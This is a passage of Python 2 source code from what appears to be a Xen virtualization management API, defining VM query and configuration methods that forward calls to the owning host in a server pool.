vbd_struct = CD_VBD_DEFAULT_STRUCT vbd_struct["VM"] = vm_ref self.VBD_create(session, vbd_struct) # return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) cur_vbd_struct = vm.get_dev_xenapi_config('vbd', vbd_ref) ''' Check the VBD is a media device or not. ''' if not cur_vbd_struct: return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) if cur_vbd_struct['type'] != XEN_API_VBD_TYPE[0]: # Not CD return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) if cur_vbd_struct['mode'] != 'RO': # Not read only return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) vdi_uuid = xennode.get_vdi_by_name_label(vdi_name) new_vdi = xennode.get_vdi_by_uuid(vdi_uuid) if not new_vdi: return xen_api_error(['HANDLE_INVALID', 'VDI', vdi_name]) new_vdi_image = new_vdi.get_location() valid_vbd_keys = self.VBD_attr_ro + self.VBD_attr_rw + \ self.Base_attr_ro + self.Base_attr_rw new_vbd_struct = {} for k in cur_vbd_struct.keys(): if k in valid_vbd_keys: new_vbd_struct[k] = cur_vbd_struct[k] new_vbd_struct['VDI'] = vdi_uuid try: XendTask.log_progress(0, 100, vm.change_vdi_of_vbd, new_vbd_struct, new_vdi_image) except XendError, e: log.exception("Error in VBD_media_change") # if str(e).endswith("VmError: Device"): # log.debug("No media create new...") # log.debug(new_vbd_struct) # self.VBD_create(session, new_vbd_struct) return xen_api_error(['INTERNAL_ERROR', str(e)]) # return xen_api_success_void() return xen_api_success_void() def VM_get_VTPMs(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_vtpms()) def VM_get_consoles(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's console device(VNC device). @param session: session of RPC. @param vm_ref: uuid @return: console @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_consoles(vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_consoles", vm_ref) else: return self._VM_get_consoles(vm_ref) def _VM_get_consoles(self, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's console device(VNC device). @param session: session of RPC. @param vm_ref: uuid @return: console @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_consoles()) def VM_get_DPCIs(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_dpcis()) def VM_get_DSCSIs(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_dscsis()) def VM_get_DSCSI_HBAs(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_dscsi_HBAs()) def VM_get_tools_version(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return dom.get_tools_version() def VM_get_metrics(self, _, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_metrics()) #frank def VM_get_cpu_qos(self, _, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_cpu_qos()) #frank def VM_get_network_qos(self, _, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_network_qos()) def VM_get_VCPUs_max(self, _, vm_ref): ''' @author: wuyuewen @summary: Get VM's max VCPUs. @param _: session of RPC. @param vm_ref: uuid @return: VCPUs num @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_VCPUs_max(_, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_VCPUs_max', vm_ref) else: return self._VM_get_VCPUs_max(_, vm_ref) def _VM_get_VCPUs_max(self, _, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's max VCPUs. @param _: session of RPC. @param vm_ref: uuid @return: VCPUs num @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.info['VCPUs_max']) def VM_get_VCPUs_at_startup(self, _, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_todo() def VM_get_VCPUs_CPU(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VCPUs' bounding CPUs. @param session: session of RPC. @param vm_ref: uuid @return: VCPUs-CPUs dict. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_VCPUs_CPU(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_VCPUs_CPU', vm_ref) else: return self._VM_get_VCPUs_CPU(session, vm_ref) def _VM_get_VCPUs_CPU(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VCPUs' bounding CPUs. @param session: session of RPC. @param vm_ref: uuid @return: VCPUs-CPUs dict. @rtype: dict. ''' dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dominfo.getVCPUsCPU()) def VM_get_ip_addr(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's ip address. @precondition: VM must install VM-tools first. @param session: session of RPC. @param vm_ref: uuid @return: IPv4 address. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_ip_addr(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_ip_addr', vm_ref) else: return self._VM_get_ip_addr(session, vm_ref) def _VM_get_ip_addr(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's ip address. @precondition: VM must install VM-tools first. @param session: session of RPC. @param vm_ref: uuid @return: IPv4 address. @rtype: dict. ''' dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dominfo.getDomainIp()) def VM_get_MAC(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's MAC address. @precondition: has a VIF device. @param session: session of RPC. @param vm_ref: uuid @return: MAC address. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_MAC(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_MAC', vm_ref) else: return self._VM_get_MAC(session, vm_ref) def _VM_get_MAC(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's MAC address. @precondition: has a VIF device. @param session: session of RPC. @param vm_ref: uuid @return: MAC address. @rtype: dict. ''' dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dominfo.getDomainMAC()) def VM_get_vnc_location(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's VNC location. @precondition: has a console device. @param session: session of RPC. @param vm_ref: uuid @return: VNC location. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_vnc_location(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_vnc_location', vm_ref) else: return self._VM_get_vnc_location(session, vm_ref) def _VM_get_vnc_location(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's VNC location. @precondition: has a console device. @param session: session of RPC. @param vm_ref: uuid @return: VNC location. @rtype: dict. ''' xendom = XendDomain.instance(); dom = xendom.get_vm_by_uuid(vm_ref) # consoles = dom.get_consoles() # vnc_location = "0" # for console in consoles: # location = xendom.get_dev_property_by_uuid('console', console, 'location') # log.debug("vm %s console %s location %s" % (vm_ref, console, location)) # if location.find(".") != -1: # vnc_location = location vnc_location = dom.get_console_port() log.debug('VM(%s) get vnc location (%s)' % (vm_ref, vnc_location)) return xen_api_success(vnc_location) # attributes (rw) def VM_get_name_label(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's name label. @param session: session of RPC. @param vm_ref: uuid @return: name label. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_name_label(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_name_label', vm_ref) else: return self._VM_get_name_label(session, vm_ref) def _VM_get_name_label(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's name label. @param session: session of RPC. @param vm_ref: uuid @return: name label. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.getName()) def VM_get_name_description(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's name description. @param session: session of RPC. @param vm_ref: uuid @return: name description. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_name_description(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_name_description', vm_ref) else: return self._VM_get_name_description(session, vm_ref) def _VM_get_name_description(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's name description. @param session: session of RPC. @param vm_ref: uuid @return: name description. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.getNameDescription()) def VM_get_user_version(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_todo() def VM_get_is_a_template(self, session, ref): ''' @author: wuyuewen @summary: Get VM is a template or not. @param session: session of RPC. @param ref: uuid @return: True | False. @rtype: dict. @raise xen_api_error: key error ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_is_a_template(session, ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_is_a_template', ref) else: return self._VM_get_is_a_template(session, ref) def _VM_get_is_a_template(self, session, ref): ''' @author: wuyuewen @summary: Internal method. Get VM is a template or not. @param session: session of RPC. @param ref: uuid @return: True | False. @rtype: dict. @raise xen_api_error: key error ''' log.debug('ref:%s' % ref) try: return xen_api_success(XendDomain.instance().get_vm_by_uuid(ref).info['is_a_template']) except KeyError: return xen_api_error(['key error', ref]) def VM_get_is_local_vm(self, session, ref): ''' @author: wuyuewen @summary: Get VM is a local VM(disk file in local storage, not shared) or not. @param session: session of RPC. @param ref: uuid @return: True | False. @rtype: dict. @raise xen_api_error: key error ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_is_local_vm(session, ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_is_local_vm', ref) else: return self._VM_get_is_local_vm(session, ref) def _VM_get_is_local_vm(self, session, ref): ''' @author: wuyuewen @summary: Internal method. Get VM is a local VM(disk file in local storage, not shared) or not. @param session: session of RPC. @param ref: uuid @return: True | False. @rtype: dict. @raise xen_api_error: key error ''' # log.debug('ref:%s' % ref) try: storage = self._get_BNStorageAPI_instance() vdis = storage._VDI_get_by_vm(session, ref).get('Value') if vdis: for vdi_uuid in vdis: vdi = storage._get_VDI(vdi_uuid) if vdi: sharable = vdi.sharable if not sharable: return xen_api_success(not sharable) else: log.exception('failed to get vdi by vdi_uuid: %s' % vdi_uuid) return xen_api_success(True) # return xen_api_error(['failed to get vdi by vdi_uuid', vdi_uuid]) return xen_api_success(not sharable) else: log.exception('failed to get vdi by vm: %s' % ref) return xen_api_success(False) # return xen_api_error(['failed to get vdi by vm',ref]) except KeyError: return xen_api_error(['key error', ref]) except VDIError: return xen_api_success(False) # # get inner ip of a VM # def VM_get_inner_ip(self, session, vm_ref): # ip_map = self.VM_get_ip_map(session, vm_ref).get('Value') # mac2ip_list = {} # for mac, ipmap in ip_map.items(): # inner_ip = ipmap.split('@')[0] # mac2ip_list[mac] = inner_ip # return xen_api_success(mac2ip_list) # #Get mapping intranet ip address to outer net ip address. # def VM_get_ip_map(self, session, vm_ref): # if BNPoolAPI._isMaster: # host_ref = BNPoolAPI.get_host_by_vm(vm_ref) # if cmp(host_ref, XendNode.instance().uuid) == 0: # return self._VM_get_ip_map(session, vm_ref) # else: # host_ip = BNPoolAPI.get_host_ip(host_ref) # return xen_rpc_call(host_ip, 'VM_get_ip_map', vm_ref) # else: # return self._VM_get_ip_map(session, vm_ref) # # def _VM_get_ip_map(self, session, vm_ref): # dom = XendDomain.instance().get_vm_by_uuid(vm_ref) # return xen_api_success(dom.get_ip_map()) def VM_get_auto_power_on(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('auto_power_on', session, vm_ref) def VM_get_memory_dynamic_max(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's memory dynamic max. @param session: session of RPC. @param vm_ref: uuid @return: memory dynamic max(Bytes). @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_memory_dynamic_max(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_get_memory_dynamic_max', vm_ref) else: return self._VM_get_memory_dynamic_max(session, vm_ref) def _VM_get_memory_dynamic_max(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's memory dynamic max. @param session: session of RPC. @param vm_ref: uuid @return: memory dynamic max(Bytes). @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_memory_dynamic_max()) def VM_get_memory_dynamic_min(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's memory dynamic min. @param session: session of RPC. @param vm_ref: uuid @return: memory dynamic min(Bytes). @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_memory_dynamic_min(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_get_memory_dynamic_min', vm_ref) else: return self._VM_get_memory_dynamic_min(session, vm_ref) def _VM_get_memory_dynamic_min(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's memory dynamic min. @param session: session of RPC. @param vm_ref: uuid @return: memory dynamic min(Bytes). @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_memory_dynamic_min()) def VM_get_VCPUs_params(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_vcpus_params()) def VM_get_actions_after_shutdown(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_on_shutdown()) def VM_get_actions_after_reboot(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_on_reboot()) def VM_get_actions_after_suspend(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_on_suspend()) def VM_get_actions_after_crash(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_on_crash()) def VM_get_PV_bootloader(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('PV_bootloader', session, vm_ref) def VM_get_PV_kernel(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('PV_kernel', session, vm_ref) def VM_get_PV_ramdisk(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('PV_ramdisk', session, vm_ref) def VM_get_PV_args(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('PV_args', session, vm_ref) def VM_get_PV_bootloader_args(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('PV_bootloader_args', session, vm_ref) def VM_get_HVM_boot_policy(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('HVM_boot_policy', session, vm_ref) def VM_get_HVM_boot_params(self, session, vm_ref): ''' @deprecated: not used ''' return self.VM_get('HVM_boot_params', session, vm_ref) def VM_get_platform(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_platform()) def VM_get_PCI_bus(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return dom.get_pci_bus() def VM_get_VCPUs_affinity(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's VCPUs available CPU affinity. @param session: session of RPC. @param vm_ref: uuid @return: dict of CPU affinity. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp (host_ref, XendNode.instance().uuid) == 0: return self._VM_get_VCPUs_affinity(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_VCPUs_affinity', vm_ref) else: return self._VM_get_VCPUs_affinity(session, vm_ref) def _VM_get_VCPUs_affinity(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's VCPUs available CPU affinity. @param session: session of RPC. @param vm_ref: uuid @return: dict of CPU affinity. @rtype: dict. ''' dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dominfo.getVCPUsAffinity()) def VM_set_VCPUs_affinity(self, session, vm_ref, vcpu, cpumap): ''' @author: wuyuewen @summary: Set VM's VCPU available CPU affinity, VCPU can used one of these CPUs. @precondition: VM not running. @param session: session of RPC. @param vm_ref: uuid @param vcpu: number of VCPU, if VM has 2 VCPU, then VCPU number is 0 or 1. @param cpumap: numbers of CPUs, e.g. "0,2,4,8" means CPUs number 0,2,4,8 @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp (host_ref, XendNode.instance().uuid) == 0: return self._VM_set_VCPUs_affinity(session, vm_ref, vcpu, cpumap) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_VCPUs_affinity', vm_ref, vcpu, cpumap) else: return self._VM_set_VCPUs_affinity(session, vm_ref, vcpu, cpumap) def _VM_set_VCPUs_affinity(self, session, vm_ref, vcpu, cpumap): ''' @author: wuyuewen @summary: Internal method. Set VM's VCPU available CPU affinity, VCPU can used one of these CPUs. @precondition: VM not running. @param session: session of RPC. @param vm_ref: uuid @param vcpu: number of VCPU, if VM has 2 VCPU, then VCPU number is 0 or 1. @param cpumap: numbers of CPUs, e.g. "0,2,4,8" means CPUs number 0,2,4,8 @return: True | False. @rtype: dict. ''' dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) domid = dominfo.getDomid() if not dominfo: raise XendInvalidDomain(str(domid)) vcpu = 'cpumap%d' % int(vcpu) if not domid or cmp(domid, -1) == 0 : self.VM_add_to_VCPUs_params(session, vm_ref, vcpu, cpumap) else: self.VM_add_to_VCPUs_params_live(session, vm_ref, vcpu, cpumap) # dominfo.setVCPUsAffinity(vcpu, cpumap) return xen_api_success_void() def VM_set_PCI_bus(self, session, vm_ref, val): ''' @deprecated: not used ''' return self.VM_set('PCI_bus', session, vm_ref, val) def VM_get_other_config(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's other config. @param session: session of RPC. @param vm_ref: uuid @return: other config field. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_other_config(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_other_config', vm_ref) else: return self._VM_get_other_config(session, vm_ref) # # host_ref = BNPoolAPI.get_host_by_vm(vm_ref) # if cmp(host_ref, XendNode.instance().uuid) == 0: # return self.VM_get('other_config', session, vm_ref) # else: # log.debug("get other config") # host_ip = BNPoolAPI._host_structs[host_ref]['ip'] # return xen_rpc_call(host_ip, "VM_get_other_config", vm_ref) # add by wufan 20131016 def _VM_get_other_config(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's other config. @param session: session of RPC. @param vm_ref: uuid @return: other config field. @rtype: dict. ''' other_config = self.VM_get('other_config', session, vm_ref).get('Value') #log.debug('_VM_get_other_config: type%s value%s' % (type(other_config), other_config)) #if other_config : # tag_list = other_config.get('tag',{}) # if isinstance(tag_list, str): # self._VM_convert_other_config(session, vm_ref) # other_config = self.VM_get('other_config', session, vm_ref).get('Value') return xen_api_success(other_config) # add by wufan def _VM_convert_other_config(self, session, vm_ref): ''' @deprecated: not used ''' OTHER_CFG_DICT_kEYS = ['tag', 'rate', 'burst'] convert_other_config = {} other_config = self.VM_get('other_config', session, vm_ref).get('Value') #log.debug('_VM_get_other_config: type%s value%s' % (type(other_config), other_config)) if other_config and isinstance(other_config, dict): for key, value in other_config.items(): if key in OTHER_CFG_DICT_kEYS and not isinstance(value, dict): value = eval(value) if isinstance(value, dict): convert_other_config.setdefault(key,{}) for k, v in value.items(): convert_other_config[key][k] = v else: convert_other_config[key] = value self._VM_set_other_config(session, vm_ref, convert_other_config) log.debug('_VM_convert_other_config: type%s value%s' % (type(convert_other_config), convert_other_config)) return xen_api_success_void() def VM_get_tags(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_tags(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_tags', vm_ref) else: return self._VM_get_tags(session, vm_ref) def _VM_get_tags(self, session, vm_ref): ''' @deprecated: not used ''' try: return self.VM_get('tags', session, vm_ref) except Exception, exn: log.exception(exn) return xen_api_error(exn) def VM_get_all_tag(self, session, vm_ref, tag_type): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_all_tag(session, vm_ref, tag_type) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_all_tag', vm_ref, tag_type) else: return self._VM_get_all_tag(session, vm_ref, tag_type) def _VM_get_all_tag(self, session, vm_ref, tag_type): ''' @deprecated: not used ''' tag_list = {} try: other_config = self._VM_get_other_config(session, vm_ref).get('Value') #log.debug('other_config: %s', other_config) if other_config: tag_list = other_config.get(tag_type,{}) log.debug('list:%s' % tag_list) return xen_api_success(tag_list) except Exception, exn: log.exception(exn) return xen_api_success(tag_list) def VM_get_tag(self, session, vm_ref, vif_ref): ''' @author: wuyuewen @summary: Get VIF's tag(VLAN-ID), this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF uuid @return: VIF's tag number(VLAN-ID), default number is -1(VLAN not used). @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_tag(session, vm_ref, vif_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_tag', vm_ref, vif_ref) else: return self._VM_get_tag(session, vm_ref, vif_ref) # original:wuyuewen #def _VM_get_tag(self, session, vm_ref): # try: # other_config = self._VM_get_other_config(session, vm_ref).get('Value') # tag = "-1" # if other_config: # tag = other_config.get('tag', "-1") # return xen_api_success(tag) # except Exception, exn: # log.exception(exn) # return xen_api_success(tag) # add by wufan read from VM's other_config def _VM_get_tag(self, session, vm_ref, vif_ref): ''' @author: wuyuewen @summary: Internal method. Get VIF's tag(VLAN-ID), this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF uuid @return: VIF's tag number(VLAN-ID), default number is -1(VLAN not used). @rtype: dict. ''' tag = '-1' eth_num = '-1' try: other_config = self._VM_get_other_config(session, vm_ref).get('Value') device = self.VIF_get_device(session, vif_ref).get('Value') if device != '' and device.startswith('eth'): eth_num = device[3:] if other_config: tag_list = other_config.get('tag',{}) #log.debug('tag_list type:%s' % type(tag_list)) tag = tag_list.get(eth_num,'-1') #log.debug('_VM_get_tag:%s' % tag) return xen_api_success(tag) except Exception, exn: log.exception(exn) return xen_api_success(tag) def VM_get_rate(self, session, vm_ref, param_type, vif_ref): ''' @author: wuyuewen @summary: Get VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param vif_ref: VIF uuid @return: VIF's rate(kbps). @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_rate(session, vm_ref, param_type, vif_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_rate', vm_ref, param_type, vif_ref) else: return self._VM_get_rate(session, vm_ref, param_type, vif_ref) def _VM_get_rate(self, session, vm_ref, param_type, vif_ref): ''' @author: wuyuewen @summary: Internal method. Get VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param vif_ref: VIF uuid @return: VIF's rate(kbps). @rtype: dict. ''' rate = '-1' eth_num = '-1' try: other_config = self._VM_get_other_config(session, vm_ref).get('Value') device = self.VIF_get_device(session, vif_ref).get('Value') #log.debug('>>>>>>>>>>>>device') #log.debug(device) eth_num = '' if device != '' and device.startswith('eth'): eth_num = device[3:] elif not device : vif_refs = self._VM_get_VIFs(session, vm_ref).get('Value') log.debug('vif_refs %s' % vif_refs) try: eth_num = str(vif_refs.index(vif_ref)) except: eth_num = '' pass log.debug('eth_num %s' % eth_num) if other_config and eth_num != '': rate_list = other_config.get(param_type,{}) log.debug('rate_list %s' % rate_list) rate = rate_list.get(eth_num,'-1') return xen_api_success(rate) except Exception, exn: log.exception(exn) return xen_api_success(rate) def VM_get_domid(self, _, ref): ''' @author: wuyuewen @summary: Get VM's id. @precondition: VM is running. @param _: session of RPC. @param ref: uuid @return: VM's id. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_domid(_, ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_domid', ref) else: return self._VM_get_domid(_, ref) def _VM_get_domid(self, _, ref): ''' @author: wuyuewen @summary: Internal method. Get VM's id. @precondition: VM is running. @param _: session of RPC. @param ref: uuid @return: VM's id. @rtype: dict. ''' domid = XendDomain.instance().get_vm_by_uuid(ref).getDomid() return xen_api_success(domid is None and -1 or domid) def VM_get_cpu_pool(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) pool_ref = XendCPUPool.query_pool_ref(dom.get_cpu_pool()) return xen_api_success(pool_ref) def VM_set_pool_name(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('pool_name', session, vm_ref, value) def VM_get_is_control_domain(self, session, vm_ref): ''' @author: wuyuewen @summary: Check the VM is dom0 or not. @param session: session of RPC. @param vm_ref: uuid @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_is_control_domain(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_is_control_domain", vm_ref) else: return self._VM_get_is_control_domain(session, vm_ref) def _VM_get_is_control_domain(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Check the VM is dom0 or not. @param session: session of RPC. @param vm_ref: uuid @return: True | False. @rtype: dict. ''' xd = XendDomain.instance() return xen_api_success(xd.get_vm_by_uuid(vm_ref) == xd.privilegedDomain()) def VM_get_VIF_record(self, session, vm_ref, vif_ref): ''' @author: wuyuewen @summary: Get VIF record, this method is a instead of VIF_get_record() use in Pool. @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF uuid @return: VIF record struct. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self.VIF_get_record(session, vif_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VIF_get_record", vif_ref) else: return self.VIF_get_record(session, vif_ref) def 